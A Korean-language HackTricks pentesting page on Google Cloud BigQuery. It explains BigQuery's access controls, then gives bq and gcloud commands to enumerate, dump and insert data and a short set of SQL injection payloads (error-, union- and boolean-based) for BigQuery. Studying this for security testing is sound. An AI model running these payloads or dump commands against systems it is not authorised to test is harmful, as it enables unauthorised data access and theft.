GCP - Bigquery Enum

htARTE (HackTricks AWS Red Team Expert)에서 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!

다른 HackTricks 지원 방법:

기본 정보

Google Cloud BigQuery는 완전히 관리되는 서버리스 엔터프라이즈 데이터 웨어하우스로, 페타바이트 단위의 데이터를 분석할 수 있는 기능을 제공하여 대규모 데이터셋을 효율적으로 처리합니다. 플랫폼으로서의 서비스(PaaS)로, 수동 감시가 필요하지 않은 데이터 관리를 위한 인프라 및 도구를 제공합니다.

ANSI SQL을 사용한 쿼리를 지원합니다. 주요 객체는 데이터를 포함하는 테이블을 포함하는 데이터셋입니다.

암호화

기본적으로 Google 관리형 암호화 키가 사용되지만 **고객 관리형 암호화 키 (CMEK)**를 구성할 수 있습니다. 데이터셋 및 데이터셋 내 테이블 당 암호화 키를 지정할 수 있습니다.

만료

데이터셋에 만료 시간을 지정하여 해당 데이터셋에 생성된 새 테이블이 생성 후 지정된 일 수 후에 자동으로 삭제될 수 있습니다.

외부 소스

BigQuery는 다른 Google 서비스와 깊게 통합되어 있습니다. 버킷, pub/sub, google drive, RDS 데이터베이스에서 데이터를 로드할 수 있습니다.

데이터셋 ACL

데이터셋이 생성되면 ACL이 첨부되어 액세스 권한이 부여됩니다. 기본적으로 데이터셋을 만든 사용자에게 소유자 권한이 부여되며 그룹 projectOwners (프로젝트 소유자), projectWriters 그룹에는 작성자 권한이, projectReaders 그룹에는 리더 권한이 부여됩니다.

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

테이블 행 액세스 제어

행 액세스 정책을 사용하여 테이블 내에서 주체가 액세스할 수 있는 행을 제어할 수 있습니다. 이러한 정책은 DDL을 사용하여 테이블 내에서 정의됩니다. 액세스 정책은 필터를 정의하며 해당 필터와 일치하는 행만 지정된 주체가 액세스할 수 있습니다.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

열 액세스 제어

열 수준에서 데이터 액세스를 제한하려면:

  1. 분류 체계 및 정책 태그 정의. 데이터를 위한 분류 체계 및 정책 태그를 생성하고 관리합니다. https://console.cloud.google.com/bigquery/policy-tags

  2. 선택 사항: 데이터 카탈로그 세분화된 리더 역할을 하나 이상의 주체에게 부여하십시오. 생성한 정책 태그 중 하나 이상에 대해 하나 이상의 주체에게 부여합니다.

  3. BigQuery 열에 정책 태그 할당. BigQuery에서 스키마 주석을 사용하여 액세스를 제한하려는 각 열에 정책 태그를 할당합니다.

  4. 분류 체계에서 액세스 제어 강제 적용. 액세스 제어를 강제 적용하면 분류 체계의 모든 정책 태그에 대해 정의된 액세스 제한이 적용됩니다.

  5. 정책 태그에서 액세스 관리. 각 정책 태그에 대한 액세스를 제한하기 위해 Identity and Access Management (IAM) 정책을 사용합니다. 해당 정책은 정책 태그에 속하는 각 열에 대해 적용됩니다.

사용자가 쿼리 시간에 열 데이터에 액세스하려고 할 때, BigQuery는 열 정책 태그 및 해당 정책을 확인하여 사용자가 데이터에 액세스 권한이 있는지 확인합니다.

요약하면, 특정 사용자에게 일부 열에 대한 액세스를 제한하려면 스키마의 열에 태그를 추가하고 사용자의 액세스를 제한하여 해당 태그의 분류 체계에서 액세스 제어를 강제 적용할 수 있습니다.

분류 체계에서 액세스 제어를 강제 적용하려면 서비스를 활성화해야 합니다:

gcloud services enable bigquerydatapolicy.googleapis.com

다음을 사용하여 열의 태그를 볼 수 있습니다:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

열거

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL Injection

더 많은 정보를 원하시면 블로그 게시물을 확인할 수 있습니다: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. 여기서는 일부 세부 정보만 제공됩니다.

주석:

  • select 1#from here it is not working

  • select 1/*between those it is not working*/ 그러나 초기 것만 작동하지 않음

  • select 1--from here it is not working

환경에 대한 정보를 얻으세요:

  • 현재 사용자: select session_user()

  • 프로젝트 ID: select @@project_id

데이터셋, 테이블 이름을 얻으세요:

  • 프로젝트데이터셋 이름:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • 테이블 이름:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM digital-bonfire-410512.importeddataset.INFORMATION_SCHEMA.COLUMNS
  • 동일한 프로젝트의 다른 데이터셋:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM digital-bonfire-410512.INFORMATION_SCHEMA.SCHEMATA

SQL Injection types:

  • Error based - casting: select CAST(@@project_id AS INT64)

  • Error based - division by zero: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Union based: UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Boolean based: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Potential time based - Usage of public datasets example: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Documentation:

Privilege Escalation & Post Exploitation

pageGCP - BigQuery Privesc

Persistence

pageGCP - BigQuery Persistence

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

最終更新